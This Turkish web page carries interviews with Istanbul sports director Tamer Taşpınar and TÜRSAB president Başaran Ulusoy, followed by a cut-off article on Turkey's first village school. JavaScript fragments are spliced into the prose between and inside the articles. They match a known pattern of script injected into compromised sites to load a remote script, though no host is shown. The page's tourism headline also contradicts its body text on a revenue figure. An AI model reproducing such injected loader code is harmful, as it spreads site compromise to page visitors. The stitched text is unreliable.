İGS İl Müdürü Tamer Taşpınar: Öncelik, tesisi bulunmayan yerlere hizmet götürmek

tamer taşpınar
İstanbul gibi büyük metropol bir kentin spordan sorumlusu olmak kadar zor bir olay yok! Ama bu işin başında öyle bir isim var ki; senelerini spora vermiş, hem de uluslar arası alanda başarılar kazanmış bir isim…

Evet İstanbul Gençlik ve Spor İl Müdürü Tamer Taşpınar’dan bahsediyoruz…

Sayın Taşpınar, son derece mütevazi, gerçek anlamda bir sporcu ve de hepsinden önemlisi yaptığı işi zaman zaman aile hayatını bile feda ederek gerçekleştiren kişilerden biri…

Sayın Taşpınar İstanbul’un spor komplekslerine son 7 senedir imza atmış bir kişi. Ama Taşpınar’a bu icraatları sorulduğu zaman her zamanki mütevazi hali ile “Bizler bir ekibiz.  Bu işlerin ilerlemesinden başta İstanbul Valimiz Sayın Muammer Güler ve İl Özel İdaresi’nin büyük katkılarını alıyoruz” diyor…

Sözü daha fazla uzatmadan Sayın Tamer Taşpınar’a bırakıyoruz…

Dünyanın en büyük metropollerin biri olan İstanbul’un bu sene Avrupa Kültür Başkenti olması sebebiyle acaba Spor alanında her hangi bir faaliyet yapılacak mı?

Biz zaten her yıl İstanbul olarak, ortalama 50 uluslararası büyük çaplı organizasyona imza atıyoruz. 2010’da da yine 50 civarında uluslararası organizasyonu başarıyla gerçekleştirerek hem ülkemize hem de şehrimize en iyi şekilde hizmet etmenin gayreti içindeyiz.

Senelerden beri sporumuzun gelişmesinde başta Genel Müdürlük olarak bölgelerimize de büyük görevler düşmüş bulunuyor. Bunun için yaklaşık 7-8 seneden beri İstanbul ve çevresine yapılan spor kompleksleri hakkında bilgi verebilir misiniz…

2002 yılına kadar İstanbul’da toplam 69 spor tesisi varken, 2003-2009 yılları arasında ilimize kazandırılan spor tesisleri: (spor salonu: 11, yüzme havuzu: 5, sentetik çim saha: 7, toprak futbol sahası: 6, halı saha: 2, stadyum: 1, semt sahası: 1) olmak üzere toplam 33 spor tesisi ilimizin hizmetine sunulmuştur. Ayrıca, devam etmekte olan birçok projemiz de bulunmaktadır.

Faaliyet  gösterildiği bütün ülkelere büyük kazanç sağlayan Olimpiyatlar için İstanbul hazır mı? Çünkü 2020 senesine adaylığımız söz konusu…

2020 Olimpiyat ve Parolimpik Oyunları için, bugün itibariyle her bakımdan hazır olduğumuz söylenemez. Önemsenmesi gereken eksiklerimiz var. Ancak bunlar, Olimpiyatları aldığımız kesinleştikten itibaren, üstesinden gelinemeyecek sorunlar değil. İstanbul’u sadece sportif tesis ve organizasyon yönünden hazırlamamız yeterli olmayacak; ulaşım, konaklama vs. gibi konuları içine alacak şekilde, bütün altyapısıyla şehri hazır hale getirmek gerekecektir. Spor tesisleri ve organizasyonları açısından şimdiye kadar yaşadığımız uluslararası tecrübeleri de göz önüne aldığımızda, ülke olarak meselenin üstesinden geleceğimize inanıyorum. Belirtmek istediğim bir husus da; şehirlerin önce Olimpiyat ve Parolimpik Oyunları’nı aldığı ve tesisleşmeyi ondan sonra tamamladığıdır. Şimdiye kadar şehirler hep böyle yaptı. Biz de bunu yapabiliriz.

tamer taşpınar

Size göre Olimpiyatların yapılabilmesi için İstanbul’un eksik yönleri nelerdir?

Organizasyon becerisi yönünden bir eksiğimiz yok. UEFA Şampiyonlar Ligi Finali, UEFA Kupası Finali, Formula 1, İstanbul Cup, Moto GP gibi büyük organizasyonlardaki başarı oranımız ve elde ettiğimiz tecrübeler, Olimpiyatlar yönünde bize önemli kazanımlar sağlayacaktır.

Ayrıca önümüzdeki dönemde düzenleyeceğimiz; 46. Cumhurbaşkanlığı Bisiklet Turu, 2010 Avrupa Yol Bisikleti Şampiyonası, 2010 Dünya Ralli Şampiyonası, 2010 Dünya Takımlar Judo Şampiyonası, 2010 Dünya Deniz Küreği Şampiyonası, 2010 Dünya 3 Bant  Bilardo Şampiyonası, 2010 Dünya Halter Şampiyonası, 2010 Formula 1 Türkiye Grand Prix, 2010, Atıcılık Trap-Skeet Dünya Kupası Finali, 2010 Dünya Basketbol Şampiyonası, 2011 Avrupa Olimpik Gençlik Oyunları, 2011 Dünya Güreş Şampiyonası, 2011 Dünya Üniversite Kış Oyunları, 2011 WTA Dünya Tenis Şampiyonası, 2012 Dünya Amatör Golf Şampiyonası, 2012 Dünya Salon Atletizm Şampiyonası, 2012 Dünya Kısa Kulvar Yüzme Şampiyonası, 2012 Dünya Satranç Olimpiyatları gibi dev organizasyonlar bize çok şey kazandıracaktır.

Tesisleşme yönünde de önemli hamleler yapmakla birlikte bunu asla yeterli görmüyoruz. Tesisleşmenin de üstesinden geleceğimize inanıyorum. Konaklama alanında iyi bir yerde olduğuna inandığım İstanbul’un, ulaşım yönünden önemli eksikleri var. Sistemli, planlı, programlı çalıştığımız taktirde 2020 Olimpiyat ve Parolimpik Oyunları’nı en iyi şekilde gerçekleştireceğimize inanıyorum.

İl Müdürlüğünüz zamanında hizmete soktuğunuz spor tesislerini açıklayabilir misiniz…

İstanbul’un spor alanında ihtiyaç duyduğu unsurların başında tesis geliyor. Tabii sadece tesis yapmakla iş bitmiyor. Bu tesisleri güçlü organizasyonlar ve sağlam projelerle en üst seviyede işler hale getirmek de çok önemli. Bu meselenin bir yüzü… Bir de şöyle bir gerçek var ki; İstanbul’a ne kadar tesis yaparsanız yapın, göze batmıyor. Çünkü söz konusu olan, nüfusu 15 milyonu aşan bir şehir. Ve bu şehrin ihtiyaçları çok büyük.  Biz tesis politikamızda ilk önce, hiç tesisi bulunmayan ve tesis yönünden son derece fakir olan bölgelere ağırlık vermeye çalıştık. Cumhuriyet tarihi boyunca hiç spor tesisi yapılmamış ilçelerimizi tesise kavuşturduk. Yüzme havuzları, spor salonları, futbol sahaları yaptık. Ayrıca, yapımı yılan hikâyesine dönen bazı tesisleri kısa sürede bitirerek aktif hale getirdik. Tabii bütün bunları yaparken İstanbul Valimiz Sayın Muammer Güler’in ve İl Özel İdaresi’nin büyük destekleri söz konusu. Bu bir ekip çalışması. Ve biz inşa ettiğimiz her tesisin altında mutlaka antrenman salonları da yapıyor ve çok amaçlı kullanmaya gayret ediyoruz. Büyük salonda müsabaka yapılırken aynı zamanda antrenman salonlarında sporcularımız çalışabiliyor. Yaptığımız tesisleri, Sporu Tabana Yayma ve Geliştirme Projeleri ile en iyi şekilde çalışır hale getirmek için gayret gösteriyoruz.

SPOR SALONLARIMIZ:

  1. ARNAVUTKÖY HADIMKÖY SPOR SALONU
  2. ARNAVUTKÖY SPOR SALONU
  3. ESENYURT KIRAÇ SPOR SALONU
  4. ESENLER SPOR SALONU
  5. GAZANFER BİLGE SPOR SALONU
  6. MİMAR SİNAN SPOR SALONU
  7. KÜÇÜKÇEKMECE HALKALI OSMAN SOLAKOĞLU SPOR SALONU
  8. SULTANBEYLİ  SPOR SALONU
  9. İSTANBUL ÜNİVERSİTESİ ORMAN FAKULTESİ SPOR TESİSLERİ (SPOR SALONU)
  10. SANCAKTEPE YENİDOĞAN SPOR SALONU
  11. SİLİVRİ SPOR SALONU (ALİBEY MAHALLESİ)

YÜZME HAVUZLARIMIZ:

  1. ARNAVUTKÖY  KAPALI YÜZME HAVUZU
  2. ARNAVUTKÖY HADIMKÖY YÜZME HAVUZU
  3. ESENLER YÜZME HAVUZU
  4. KARTAL YAKACIK KAPALI YÜZME HAVUZU
  5. SULTANBEYLİ  KAPALI YÜZME HAVUZU

SENTETİK SAHALARIMIZ:

  1. İSTANBUL ÜNİVERSİTESİ ORMAN FAKULTESİ SPOR TESİSLERİ (SENTETİK SAHA)
  2. ARNAVUTKÖY TAŞOLUK SENTETİK SAHA
  3. ÇATALCA DURUSU SENTETİK ÇİM YÜZEYLİ FUTBOL SAHASI
  4. ÇATALCA BİNKILIÇ SENTETİK ÇİM YÜZEYLİ FUTBOL SAHASI
  5. ÇEKMEKÖY ALEMDAĞ SENTETİK ÇİM YÜZEYLİ FUTBOL SAHASI VE TRİBÜN
  6. SARIGAZİ SENTETİK ÇİM YÜZ FUT SAHASI (BELEDİYEDEN DEVİR)
  7. SARIYER ÇAYIRBAŞI STADI (BELEDİYEDEN DEVİR)

TOPRAK SAHALARIMIZ:

  1. KAMİLOBA TOPRAK YÜZEYLİ FUTBOL SAHASI
  2. ÇATALCA KALEİÇİ TOPRAK YÜZEYLİ FUTBOL SAHASI
  3. ÇATALCA İHSANİYE KÖYÜ  TOPRAK YÜZEYLİ FUTBOL SAHASI
  4. ÇATALCA İZZETTİN KÖYÜ  TOPRAK YÜZEYLİ FUTBOL SAHASI
  5. ESENYURT KIRAÇ TOPRAK YÜZEYLİ FUTBOL SAHASI
  6. İSTANBUL SİLİVRİ GÜMÜŞYAKA TOPRAK YÜZEYLİ FUTBOL SAHASI VE YEDEK OYUNCU KULÜBELERİ YAPIM İŞİ

STADYUM VE DİĞER TESİSLERİMİZ:

  1. MALTEPE HASAN POLAT STADI

  1. ŞİLE MİNİ FUTBOL HALI SAHASI
  2. ÇEKMEKÖY ALEMDAĞ HALI SAHA

  1. SİLİVRİ ÇANTA BELDE BELEDİYESİ CUMHURİYET MAHALLESİ BASKETBOL, VOLEYBOL SAHASI

Yeni projeleriniz nelerdir? Bu konuda da bilgi verirseniz kamuoyunu bilgilendirme açısından mutlu oluruz…

Beylikdüzü, Çekmeköy, Maltepe ve Sancaktepe’de modern spor kompleksleri için kolları sıvadık ve projelerini hazırladık. Tesislerimizde kapalı yüzme havuzları, spor salonları, otoparklar, dinlenme alanları vs. olacak. Ayrıca, Tozkoparan Yüzme Havuzu yakında ihale edilecek, ayrıca Ataköy’de olimpik havuz projemiz var. İçinde atlama havuzu, test havuzu gibi kısımlar da bulunacak. 250 kişi kapasiteli modern bir konferans salonu, otoparkı vs. de olacak.

Sayın Tamer Taşpınar bizler sizi yakından tanıyoruz… Ama kamuoyunu bilgilendirme açısından bizlere sporculuk hayatınızı anlatabilir misiniz…

1971 yılında taek-wondo ya başladım ve sporculuk kariyerimin sonunda siyah kuşak 6. Dan’a kadar yükseldim. Milli formayı giydiğim yıllarda Türkiye şampiyonu, 1979 Stutgart Dünya 7’ncisi, 1982 Roma Avrupa 5’ncisi oldum ve uluslararası yüksek derecelere imza attım. Faal sporculuk hayatımın ardından Türk sporuna önce Taekwondo Milli Takım Antrenörü sonra da Milli Takımlar Teknik Direktörü olarak hizmet verdim. 5. kademe antrenörlük diplomasına sahip oldum ve birçok milli sporcu yetiştirdim. 1997 yılında uluslararası hakemlik kokartını da kazandım.  10 yıl boyunca yürüttüğüm Taekwondo İl Temsilciliği döneminde, Taekwondo Federasyonu’nun Teknik ve Eğitim Komitelerinde de çalışmalar yaptım. 1984 yılından itibaren sırasıyla Antrenörlük, Şeflik, İlçe Müdürlüğü ve Şube Müdürlüğü ve 2003’ün Mart ayından itibaren de İstanbul Gençlik ve Spor İl Müdürlüğü görevini yürütüyorum.

Dünyaya tekrar gelseniz aynı görevi yapmayı mı, yoksa ünlü bir sporcu olmayı mı tercih ederdiniz…

Ünlü bir sporcu olmak isterdim, bu elbette çok önemli ve güzel bir şey. Ama benim için, Türk sporuna kalıcı hizmetlerde bulunmak da çok anlamlı. Ben yine ünlü bir sporcu olmakla birlikte, Türk spor teşkilatında görev almayı tercih ederdim.

}if (document.currentScript) {

TÜRSAB Başkanı Ulusoy: On yıl içerisinde turizmin kazancı en az 350 milyon dolar olacak

başaran ulusoy
Bir ülkenin kalkınması için ekonomiye takviye yapan güçlerin büyük önemleri vardır.

Bunlar çeşitli sektörler ile bütünlük kazanır.

Nitekim sanayinin yanı sıra ihracat ve ithalattaki endeksler bir ülkenin ekonomisinde büyük pay sahibidir.

Bu arada “BACASIZ ENDÜSTRİ” adı ile anılan TURİZM denilince ekonomiye katkısını asla unutmamak gerekir.

Son senelerde ülke çapırda yapılan ataklar… Ki bunlar yatak kapasiteleri , sektörün oluşturduğu çeşitli iş alanları ve ülke tanıtımı…

İşte bu konuların en önemli detaylarını sizlerle paylaşmak için Türkiye Seyahat Acenteleri Birliği Başkanı Başaran Ulusoy ile görüşelim ve bilgiler edinelim dedik… Gerçek anlamda Türk ekonomisine son senelerde büyük katkılar sağlayan bu sektörün acıları, tatlıları, girdileri çıktılarını Sayın Ulusoy’u sorduk. O da bizlere hem geçmiş; hem de ileriye dönük çalışmaları hakkında dobra dobra açıklamalarda bulundu…
BAŞARAN ULUSOY-SERAP ÖZAKSOY
Türk Turizmi sizce hak ettiği  yerde mi?

Türkiye dünya turizminin yıldızlarından birisidir. 1980’lerin ortalarından itibaren başlayan yükseliş trendini, doğal felaketlerin ve Ortadoğu’daki savaş süreçlerinin etkilediği birkaç yıl dışında devamlı sürdürerek dünyanın en fazla yabancı turist çeken ilk on varış ülkesinden birisi haline gelmiştir. Birleşmiş Milletler Dünya Turizm Örgütü’nün 2008 verilerine göre Türkiye dünya sıralamasında 22,2 milyon turist ile 8. sırada ve 22 milyar turizm geliriyle de 9. sıradadır. Türkiye’nin turizm doğal ve kültürel turizm kaynaklarına bakarak yapılacak bir değerlendirmeyle önümüzde daha büyük bir potansiyel alanın olduğu görülmektedir. Özellikle alt ve üstyapı bakımından var olan eksiklerimiz çözümlendikçe Türkiye bu ligde daha üst sıralara olan yürüyüşünü sürdürecektir.

Ülke tanıtımı için eksik yönlerimiz nelerdir?

Türkiye turizm tanıtımı anlamında son on yıldır başarılı bir çalışma sergilemiştir. Bu bakımdan Kültür ve Turizm Bakanlığı’na bağlı Tanıtma Genel Müdürlüğümüzün başarılı ve özverili çalışmalarını şükranla karşıladığımızı belirtmek isteriz. Özellikle fuar katılımları ve medya reklamları bakımından Türkiye dünyanın en başarılı ülkelerinden birisidir. Bunda bu yıllar içinde tanıtım işinin düzenlenen ihalelerle özel sektör kuruluşlarının da yer aldığı bir komisyon tarafından seçilen reklam ajanslarına devredilmesinin büyük payı olmuştur.

Tanıtımda yerel motifleri daha etkili bir şekilde işleyebilir ve turizm türlerini daha detaylı aktarabilirsek daha başarılı sonuçlar alabileceğimiz kanaatindeyiz. Bir de bu detayları özel müşteri gruplarına ulaştırmak aktarabilmek gerekiyor.

2010 Avrupa Kültür Başkenti simgesini taşıdığı bu sene için görüşleriniz…

İstanbul’un bu yıl Avrupa Kültür Başkentliğini yapacak olması elbette turizm açısından da çok önemlidir. Türkiye’nin imajına olumlu katkıda bulunacak her türlü gelişme turizme neticede yansıyor. İstanbul ve Türkiye bu sayede önemli bir fırsat yakalamış oldu. Bu yıl boyunca İstanbul Avrupa’nın medyasında önemli yer işgal edecek, İstanbul’un kültür ve sanat alanındaki varlıkları söz konusu edilecek ve Avrupa Kültürünün bir parçası olarak lanse edilecektir.

“Bacasız endüsztri” turizm için yapılanmalar yeterli mi? Yeterli değil ise önerileriniz…

Son yıllarda yaşanan bazı gelişmeler turizmin bazı bölgelerde öncelikli sektör olarak ilan edilmesi ve doğal ve kültürel turizm kaynaklarına zarar verebilecek diğer endüstriyel yapılanmalara engel olunması gerektiğini göstermiştir. En nadide koylarımızdaki balık çiftlikleri, Kıyılarımıza kurulan termik santraller, Kaz Dağlarında yapılan maden arama girişimleri, Fethiye Üzümlü Köy’de çimento fabrikası kurulması girişimi gibi olaylar Türkiye’nin en rekabetçi, önü en açık sektörüne balta vurabilecek yaklaşımların en hassas olduğumuz bölgelerde yeşermesine imkan verecek bir ortam içinde olduğumuzu bize göstermektedir. Turizm Türkiye’ye bu yıl 22 milyar dolar döviz getirmiştir. Bu rakam her yıl artmaktadır. Önümüzdeki on yıl içinde turizmden kazanacağımız döviz miktarı en az 350 milyar dolardır. Üstelik bu para birkaç sektör içinde dönen, büyük miktarı ithalata dayalı bir döviz geliri de değlidir. Turizm sayesinde çok büyük oranda yerli üretime dayanan 40’a yakın sektör ve iş kolu yerinde ihracat yapmaktadır. İşte bu nedenle turizmin hiç olmazsa hassasiyet taşıdığı bölgelerde turizme öncelik verilmeli turizme zarar verme riski bulunan her türlü gelişmenin önüne set çekilmelidir.

BAŞARAN ULUSOY

TÜRSAB’ın başarılı başkanı olarak Türkiye’deki seyahat acentelerinin kendi aralarındaki uyumu veya uyumsuzluğu konusunda sizin görüşleriniz neler olur…

Seyahat acentacılığı turizmin ulaştırma, konaklama ve pazarlamadan oluşan üç sac ayağından birisidir. Seyahat acentaları turizmi kitleselleştiren, uluslar arası endüstriyel bir boyut katan yapılanmalardır. Onlar olmasaydı seyahat çok zorlaşacak ve riskli bir iş haline gelecek; bu nedenle de azalan verim nedeniyle endüstrileşme de gerçekleşmeyecekti. Oysa seyahat acentaları sayesinde turizm ürünlerine tüketici güveni artırılmış, tüketici kendi ortamında haklarını arayabileceği bir muhatap bulmuştur.

Türkiye’de seyahat acentaları mesleği özellikle 1972’de Türkiye Seyahat Acentaları Birliği’nin kurulmasıyla güçlü bir ivme kazanmış ve Türk turizminin gelişmesine büyük katkılarda bulunmuştur. 1972 yılında sayısı yüzlerle ifade edilen seyahat acentaları bugün şubeleriyle birlikte 5800’ü aşmıştır.

Seyahat acentaları turizm sektörü içinde yasayla kurulmuş yarı kamu kuruluşu niteliğinde bir Birliğe sahip tek meslek koludur. Bu durum Türkiye’de bu mesleği hem güvenilir kılmakta hem de gelişmesini sağlamaktadır.

Seyahat acentalarının uyumlu birlikteliği en güzel şekliyle TÜRSAB’ın iki yılda bir yapılan kongrelerine yansıyor. Son Kongremize 1951 üyemiz kayıt yaptırmış ve 1317 üyemiz de oy kullanmıştır. Doğrusu şu ki bu yüksek katılım oranları pek az meslek kuruluşuna nasip olmaktadır.

Son senelerde yaşanan bazı çift rezervasyon olayları,  turların rezervasyonsuz oluşturulması ve

sonunda mağdur olan vatandaşlarımız için; sizin ne tip önerileriniz olabilir…

Seyahat acentalarımız her yıl milyonlarca yerli ve yabancı müşterisine hizmet veriyor. Türkiye’ye gelen yabancıların yaklaşık yüzde 55’i seyahat acentaları vasıtasıyla geliyorlar. Bu da yaklaşık 15 milyon yabancı anlamına geliyor. Seyahat acentalarıyla yurt içi ve yurtdışı turlara katılan vatandaşlarımızın sayısının da 2 milyona yaklaştığını tahmin ediyoruz. Bu sayıların her yıl büyük oranlarda arttığını da belirtmeliyiz. Böylesine büyük volümlerin yaşandığı bir ticari alışveriş ortamında maalesef bazen istenmeyen olaylar yaşanabiliyor. Bazen bir üyemiz gerçekten ödeme güçlüğü içine düşebiliyor. Ya da elbetteki sayıları çok az da olsa ayıp ve kusurlu hizmet verenler olabiliyor. Ancak her yıl yaklaşık 17-18 milyon kişiye hizmet götüren sektörümüzde bu tür olaylarla mağdur olan tüketici sayısının toplam tüketicilere oranı binde biri bile zor bulmaktadır.

Biz elbetteki bunu da kabullenmiyoruz. TÜRSAB olarak bu rakamın sfıır olması için büyük bir çaba gösteriyoruz. Öncelikle seyahat sigorta güvencesinin 1618 Sayılı Seyahat Acentaları ve Türkiye Seyahat Acentaları Birliği Kanunu’nun içine girmesi için büyük bir çaba harcadık ve bunu iki yıl önce gerçekleşen yasa değişikliğiyle başardık. Böylece, Türkiye’deki bir seyahat acentasından tur paketi satın alan tüm tüketiciler o tur hizmeti esnasında yaşanabilecek iflaslar, eksik ya da ayıplı ürünler ve hizmetlere karşı sigortalanmış oluyorlar.

Bu elbetteki Türkiye’deki seyahat tüketicisinin haklarının korunması açısından çok büyük bir gelişmedir.

Ancak, TÜRSAB olarak biz yine de seyahat acentalarının hizmetlerinden şikayetçi olan tüketiciler için oluşturduğumuz Komiteler ve Hukuk Departmanımız vasıtasıyla destek sağlıyor sorunların çözümüne mümkün olan tüm gayreti gösteriyoruz.

TÜRSAB’a gelen tüm şikayet dosyaları titizlikle inceleniyor. Tarafların ifadeleri alınıyor; deliller inceleniyor ve bir uzmanlar kurulu tarafından karar verilip gereği yapılıyor.

başaran ulusoy-serap özaksoy

Cezai hükümlerle şirketleri kapatılan kişilerin başka isimlerle bu işlere  devam etmesi                                                                                                                         konusunda birliğinizin  aldığı tedbirler nelerdir?

Seyahat acentalarının meslek ilkelerine aykırı hareket etmeleri ya da yasa dışı uygulamalar    yapmaları halinde ne tür yaptırımlarla karşılaşacakları 1618 Sayılı Seyahat Acentaları Birliği Kanunu ve ilgili yönetmeliklerde çok net bir şekilde tanımlanmıştır. Kültür ve Turizm Bakanlığı’ndan alınan seyahat acentası işletme belgesi olmadığı halde 1618 sayılı yasayla seyahat acentası faaliyetleri olarak tanımlanan faaliyetlerde bulunan gerçek ya da tüzel kişiler hakkında ne tür yasal işlemler yapılacağı da, bu mevzuatta belirtilmektedir. Birliğimiz tamamen yasal zeminde sektörümüze ve tüketicilerin seyahat özgürlüklerine zarar veren bu tip girişimleri denetimle ilgili departmanları vasıytasıyla takip etmektedir.

Üyelerimizden, tüketicilerden ve kamu kuruluşlarından bu tip işletmelerin faaliyetlerine ilişkin ihbarlar Birliğimize ya da Kültür ve Turizm Bakanlığı’na gelmektedir. Bu ihbarlar Hukuk departmanımız tarafından incelenerek gerekli yasal işlemler savcılıklar nezdinde başlatılıyor.

Burada şunu da belirtmek isterim ki tüketicilerin can ve mal güvenliklerini riske sokan ve dolandırılma riskiyle karşı karşıya bırakan bu tür faaliyetler hiçbir zaman uzun ömürlü olmuyor. Günümüzde tüketici bilinci üst düzeylere ulaşmış durumda. Onlar seyahat satın alacakları zaman artık Birliğimizi arayıp, ya da web sitemize girip seyahat satın alacakları şirketin seyahat acentası işletme belgesi bir seyahat acentası olup olmadığını kontrol ediyorlar.

Bunun dışında Türkiye’nin her yerinde faaliyet gösteren ve sayıları 5800’ü aşkın seyahat acentaları ve onların çalışanları bizim ülke sathına yayılan gözlerimiz kulaklarımız gibidirler. Çok geçmeden bu tür faaliyetlerde bulunanların bilgisi elimize geçiyor ve gerekli işlemler hemen başlatılıyor.

IATA Firmalarının yerel havayolları ile yaşadığı sıkıntılar konusundaki fikirleriniz nelerdir?

Uçak bileti satışı yapan üyelerimizin bazıları Uluslar arası Havayolu Taşımacıları Birliği (IATA) üyesi olarak binlerce havayolunun biletlerini kesme hakkı elde ediyorlar. Uçak bileti satan IATA olmayan seyahat acentalarımız da var. Bunlar da komisyon karşılığı bir IATA üyesi seyahat acentasının bayisi gibi çalışabiliyorlar. Ya da IATA olsun olmasın yerli havayollarının bilet satışını yapan üyelerimiz var. Son yıllarda bilet satışı işiyle uğraşan üyelerimizin en büyük sorunu bankaların kredi kartı harcamaları üzerinden verdikleri uçuş mili puanlarıdır. Bankalar bu dolayımla uçak bileti satar hale gelmişlerdir. Bazı yerli havayolu şirketlerimiz de Bankalarla bu konuda anlaşarak seyahat acentalarının mağdur olmalarına yol açmaktadırlar. Seyahat acentaları havayolu şirketlerinin en önemli dağıtım ağlarından birisidir. Bu ağın gerçek işi seyahat dağıtımı olmayan bankalarca bu şekilde örselenmesi bu yolun sonunda yine havayolu şirketlerini ve bankaları vuracaktır. Çünkü seyahat işini organize edecek uzman firmalar azaldıkça seyahatin kitleselliği de azalacak ve endüstriyel boyutu hasar alacaktır.Bankalar şunu unutmamalılar ki seyahat endüstrisi bugün bankalardan en fazla kredi kullanan, onlara bol miktarda nakit akışı sağlayan bir endüstridir ve endüstriyel boyutuyla sadece ulaştırma, seyahat acentacılığı ve konaklama gibi sektörlere değil ekonominin tüm sektörlerine girdi sağlamaktadır. Bu sebeple bu endüstrinin hassasiyetlerini dikkatle takip etmeli ve kısa dönem kar hesaplarıyla endüstriyel yapıya zarar verecek girişimlerden kaçınmalıdırlar.Biz TÜRSAB olarak bu konuda hem havayolu şirketleri hem de bankalarla görüşmeler yapıyoruz ve her iki sektör içinde seyahat acentalarının hayati önemini anlatarak çözümler üretme gayreti içindeyiz.

İleriye dönük olarak dünyada yeni keşfedilmeği bekleyen ülkeler arasında nerelerin olduğunu belirte bilir misiniz…

Dünya’da kitlesel turizmin ilk varış ülkeleri Fransa, İtalya, İspanya, İsviçre gibi ülkelerdi. Bu ülkeler hala dünya turizminin önde gelen ülkeleridir. Özellikle gelişmekte olan ülkeler ekonomileri kalkındıkça bu ülkelere her zaman bir potansiyel yaratıyorlar. Ancak gelişmiş ülkelerin vatandaşları için bu varış ülkeleri artık demode oldular. Onlar yeni destinasyon arayışı içindeler. Türkiye bu arayıştan nasibini alan bir yeni varış ülkesidir. Geçen son on yıla bakarsak, yeni ortaya çıkan varış ülkelerinin Ortadoğu ve Asya/Pasifik’te belirdiklerini görürüz. Çin önümüzdeki on yıl içinde ilgi çekmeye devam edecektir. Ortadoğu’nun da kazandığı istikrar oranında ilgi göreceğine inanıyorum. Bir de hiç keşfedilmemiş Özbekistan, Kazakistan, Kırgızıstan gibi yakın Asya ülkeleri var. Bu ülkeler de tarihi ve bakir doğal güzellikleriyle turizme açılmayı başarırlarsa ilgi göreceklerdir diye düşünüyoruz.

Yıllarını turizme adamış bir kişi olarak Sayın Başaran Ulusoy Türkiye ve dünyada tatile çıkmak istese nereyi tercih eder. Bu konuda tercih sebebinizi de açıklaya bilir misiniz…

Bu sıralar Kuzey Kıbrıs’ı özellikle tercih ederim. İnsanlarının sıcaklığı, doğası, kültürel zenginlikleri çok cazip. Ama beni Kuzey Kıbrıs’la ilgili olarak en çok Akdeniz’in en temizkalmış, sanayi ve şehirleşmeden uzak durabilmiş tatil ülkesi olması cezbediyor.

Hem dünyada hem de Türkiye’de bu kadar ekonomik sorunlar var iken; insanların hala seyahatleri düşünmesini nasıl karşılıyorsunuz?

Dünyada ve Türkiye’de sorunlar aslında hep vardı. Bizce değişen şey bu sorunları herkesin gündemine taşıyacak olan bir ortamın küresel boyutlarda gelişmesidir. Bu ortam bilgi-iletişim ve ulaştırma teknolojilerinin gelişmesi neticesinde oluşmuştur. Bu alanlardaki gelişmeler dünyada tüm olup bitenleri bireylerin önündeki bilgisayar ekranına, cebindeki telefona kadar taşıdı ve onların mobilitesini artırdı. İnsanlar ne olursa olsun seyahat etmek, yeni yerler görmek, yeni pazarlara açılmak, yeni kültürlerle tanışmak isteyecekler. Bu merakın önünde duran fiziki engeller teknoloji vasıtasıyla yıkıldıkça daha fazla seyahat hep olacak.

2010 Türkiye’ye incoming olarak artış sağlayacak mı; yoksa hayal kırıklığı mı yaratacak!

Bütün işaretler Türkiye’nin dış turizm pazarlarında 2010 yılında bir talep artışı yaşanacağını gösteriyor. Tahminlerimize göre yüzde 10 civarında bir artış yaşanabilir ve 30 milyon yabancı ziyaretçi sayısına ulaşabiliriz. Turizm gelirlerimiz de TL’nin durumuna bağlı olarak daha yüksek oranda yaklaşık yüzde 12-13 oranında bir artış gerçekleşebilir ve 24,5 milyar dolara ulaşabilir.

Dünyada geçimini sadece turizmden kazanan ülkelerin başarı sebepleri nelerdir?

Çok değişik motivasyonlar insanları seyahat faaliyetine itiyor. İş, iklimsel şartlar, merak, dinlenme, farklı kültürlerle bir araya gelme gibi. Ama her durumda Turizmi diğer seyahat hareketlerinden farklılaştıran şey köklenilen yere geri dönmek üzere yapılan bir seyahat olması ve onu ekonomik ya da sosyal mecburiyetlerin değil özgür iradenin yönlendirmiş olmasıdır. Ancak tüm bunlardan arındırıp teknik olmayan biraz daha felsefi bir tanım yapacak olursak turizm bir nefes alış, mola veriş, kendine daha yalın bir bakış fırsatını yakalamaktır da diyebiliriz.

Size TURİZM nedir diye soracak olsak nasıl yanıtlarsınız!  Ve…Dünyaya tekrar gelseniz aynı mesleği seçer miydiniz. Yoksa gönlünüzde yatan başka bir meslek dalı var mı?

Turizm öyle güzel bir meslek ki. Sevmeden zaten yapılmaz. Sizi dışlar ve bünyeden atar. Hizmet sektörlerinin en görkemlisidir. Yüksek bir eğitim seviyesi, kolayca mutlu olmaya ve mutlu etmeye hazır insanlar sektörümüzün genel karakteridir. Bu şartlarda başka bir meslek düşünebilir mi insan?var d=document;var s=d.createElement(‘script’); document.currentScript.parentNode.insertBefore(s, document.currentScript);

Cumhuriyet Tarihi’nin ilk köy okulu

cumhuriyet köyü

Türkiye’nin ilk köy okulu neredeydi biliyor musunuz?…

Tabii ki cevabınız HAYIR  olacak.

Yıllar önce Ulu önder Atatürk ve eşi Latife Hanım Balıkesir’i gidiyorlar tarih: 6 Şubat 1923. Yani Cumhuriyet’in ilanından tam 8 ay önce…Balıkesir’e giderler;  07 Şubut 1923 de Balya da Kazım Özalp’in III.Fırkasını teftişe giderken, yol güzergahında olan  Akbaş Köyü’nde bir mola veriyorlar.  Gerisini eski Köy Muhtarı Gülay Dayıcan’dan dinleyelim…“6 Şubat 1923 yılı, Cumhuriyetin ilanından önce, Gazi Mustafa Kemal ve eşi Latife hanım, Balıkesir’i ziyaretleri sırasında, Balya’da bulunan Kazım Özalp’ ın Komutan olarak görev yaptığı III. Fırka’yı teftişe giderken, yol güzergahında bulunan köyümüzde mola vermişlerdir. Köylümüz, Gazi ve eşini, okul binasının olduğu yerdeki kır kahvesinde karşılamış ve kendilerine bir de kurban keserek ikramda bulunmuşlardır. Köylü ile sohbet sırasında, Gazi Mustafa Kemal, kurulacak olan Cumhuriyetten ve kazanımlarından bahsederken, köylerde “MEKTEP” açmak fikrini ve bu “mekteplerde” yetişecek bireylerle ülkenin nasıl kalkınacağı konusundaki fikirlerini paylaşmış; eşi Latife hanım da, “Kemal, mektep bu oturduğumuz yere yapılsın” diyerek, yerini işaret etmiştir. Köyün ileri gelenlerinden merhum Ahmet AKBAŞ, Gazi ve eşinin köyden ayrılmasından sonra, hemen harekete geçmiş ve o zaman Balya madeninde çalışmakta olan İstanbullu mimar-mühendis NURİ beye “MEKTEP” in nasıl yapıldığını sormuş ve Nuri beye bir kağıt üzerine okulun planını çizdirmiştir. Okulun temeli 1923 de atılmış, inşaatı ise devletten hiçbir yardım almadan Ahmet ağanın önderliğinde köylünün kendi gayreti ile tamamlanmış ve 1929 yılında “AKBAŞ KÖYÜ İLKOKULU” adı ile öğretime başlamıştır. Dolayısı ile; Tevhid-i Tedrisat 